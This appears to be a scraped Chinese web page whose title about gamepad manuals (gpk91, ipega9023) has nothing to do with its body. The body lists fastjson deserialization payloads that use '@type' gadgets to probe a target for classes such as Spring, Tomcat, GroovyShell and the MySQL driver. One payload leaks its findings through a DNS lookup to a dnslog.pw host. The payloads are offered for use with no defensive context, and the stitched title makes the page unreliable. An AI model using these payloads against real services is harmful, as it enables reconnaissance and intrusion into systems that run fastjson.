gpk91手柄说明书,ipega9023手柄说明书

待探测列表如下：

org.springframework.web.bind.annotation.RequestMapping org.apache.catalina.startup.Tomcat groovy.lang.GroovyShell com.mysql.jdbc.Driver java.net.http.HttpClient

payload34：

{"z": {"@type": "java.lang.Class","val": "org.springframework.web.bind.annotation.RequestMapping"}}

如果系统存在这个类，会返回一个类实例；如果不存在会返回null。例如：

payload35：

{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{1:{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}},"country":"aaa.qmc8xj4s.dnslog.pw"}}}

只有MacOS可以ping带花括号的域名，Linux和Windows会报错，所以该payload需要特定环境才可以。

payload36：

{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "com.mysql.jdbc.Driver"}}